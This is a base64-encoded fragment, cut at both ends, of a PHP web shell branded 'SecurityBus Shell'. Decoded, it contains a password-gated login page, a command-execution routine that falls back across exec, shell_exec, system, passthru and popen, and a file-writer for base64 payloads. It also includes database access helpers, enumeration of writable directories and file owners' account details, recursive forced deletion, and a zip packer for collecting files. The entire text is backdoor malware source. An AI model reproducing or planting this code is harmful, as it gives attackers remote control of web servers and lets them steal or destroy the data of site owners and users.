b2xvcjogZ3JlZW47fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0KDQo8L3N0eWxlPg0KDQogICAgICAgPEJSPjxCUj4NCjxkaXYgYWxpZ249Y2VudGVyID4NCjxmaWVsZHNldCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDY5LCA2OSwgNjkpOyBwYWRkaW5nOiA0cHg7d2lkdGg6NDUwcHg7Ymdjb2xvcjp3aGl0ZTthbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6dGFob21hO2ZvbnQtc2l6ZToxMHB0Ij48bGVnZW5kPjxmb250IGNvbG9yPXJlZD48Qj5Mb2dpbjwvYj48L2ZvbnQ+PC9sZWdlbmQ+DQoNCjxkaXY+DQo8Zm9udCBjb2xvcj1ncmF5Pg0KPGZvbnQgY29sb3I9eWVsbG93Pj09WyA8Qj5TZWN1cml0eUJ1cyBTaGVsbDwvQj4gXT09IDwvZm9udD48QlI+PEJSPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8c3BhbiBzdHlsZT0iZm9udDoxMHB0IHRhaG9tYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvaW5nIiB2YWx1ZT0ibG9naW4iPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoJPC9mb3JtPg0KPEJSPg0KPD9waHANCmVjaG8gIiIuJGVycl9tZXNzLiIiOw0KPz4NCg0KCTxCPjxmb250IGNvbG9yPXJlZD4NCjxhIGhyZWY9IHZhcmllL3RhcmdldD1fYmxhbms+U2VjdXJpdHlCdXM8L2E+PEJSPjwvYj4NCg0KDQoNCg0KDQo8L2Rpdj4NCg0KDQoJPC9maWVsZHNldD4NCg0KDQoNCjwvaGVhZD4NCjwvaHRtbD4NCg0KDQo8P3BocA0KCWV4aXQ7DQoNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsNCgkkcmVzID0gJyc7DQoJaWYgKCRjZmUpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJCUBleGVjKCRjZmUsJHJlcyk7DQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCgkJCSRyZXMgPSAnJzsNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsNCgkJCX0NCgkJCUBwY2xvc2UoJGYpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOw0KfQ0KDQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpew0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KDQovLyBEZWJ1Zw0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCWdsb2JhbCAkc3RhcnR0aW1lOw0KCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsNCn0NCg0KLy8gRnVuY3Rpb24gY29ubmVjdCBkYXRhYmFzZQ0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KCQlwKCc8aDI+Q2FuIG5vdCBjb25uZWN0IHRvIE15U1FMIHNlcnZlcjwvaDI+Jyk7DQoJCWV4aXQ7DQoJfQ0KCWlmKCRsaW5rICYmICRkYm5hbWUpIHsNCgkJaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgew0KCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCRsaW5rICYmIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpID4gJzQuMScpIHsNCgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7DQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoJCX0NCgl9DQoJcmV0dXJuICRsaW5rOw0KfQ0KDQovLyBBcnJheSBzdHJpcA0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7DQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoJCX0NCgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7DQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KDQovLyBIVE1MIFN0cmlwDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7DQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCi8vIENobW9kDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQp9DQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9DQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoJJG93bmVyWydyZWFkJ10gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCSRncm91cFsncmVhZCddID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgkkd29ybGRbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30NCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCn0NCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCSRhcnJheSA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOw0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSddLic8L2E+JzsNCgkJfQ0KCX0NCglyZXR1cm4gJyc7DQp9DQoNCi8vIERlbGV0ZSBkaXINCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgew0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOw0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7DQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgew0KCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOw0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7DQoJCX0NCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCX0NCgkkbXlkaXItPmNsb3NlKCk7DQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7DQoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KfQ0KDQovLyBCYWNrZ3JvdW5kDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gR2V0IHBhdGgNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoJaWYgKCRub3dwYXRoID09ICcuJykgew0KCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KCX0NCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOw0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7DQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsNCgl9DQoJcmV0dXJuICRub3dwYXRoOw0KfQ0KDQovLyBHZXQgdXAgcGF0aA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7DQoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7DQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KCWlmICgkbnVtID4gMikgew0KCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsNCgl9DQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7DQoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7DQoJcmV0dXJuICR1cHBhdGg7DQp9DQoNCi8vIENvbmZpZw0KZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7DQoJJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoJCXJldHVybiAnTm8nOw0KCX0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsNCgkJcmV0dXJuICdZZXMnOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCn0NCg0KLy8gRnVuY3Rpb24gbmFtZQ0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gWmlwDQpjbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkJZWxzZXsNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly9GaWxlIGxpc3QNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gU2hvdyBmaWxlIGxpc3QNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGljICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3R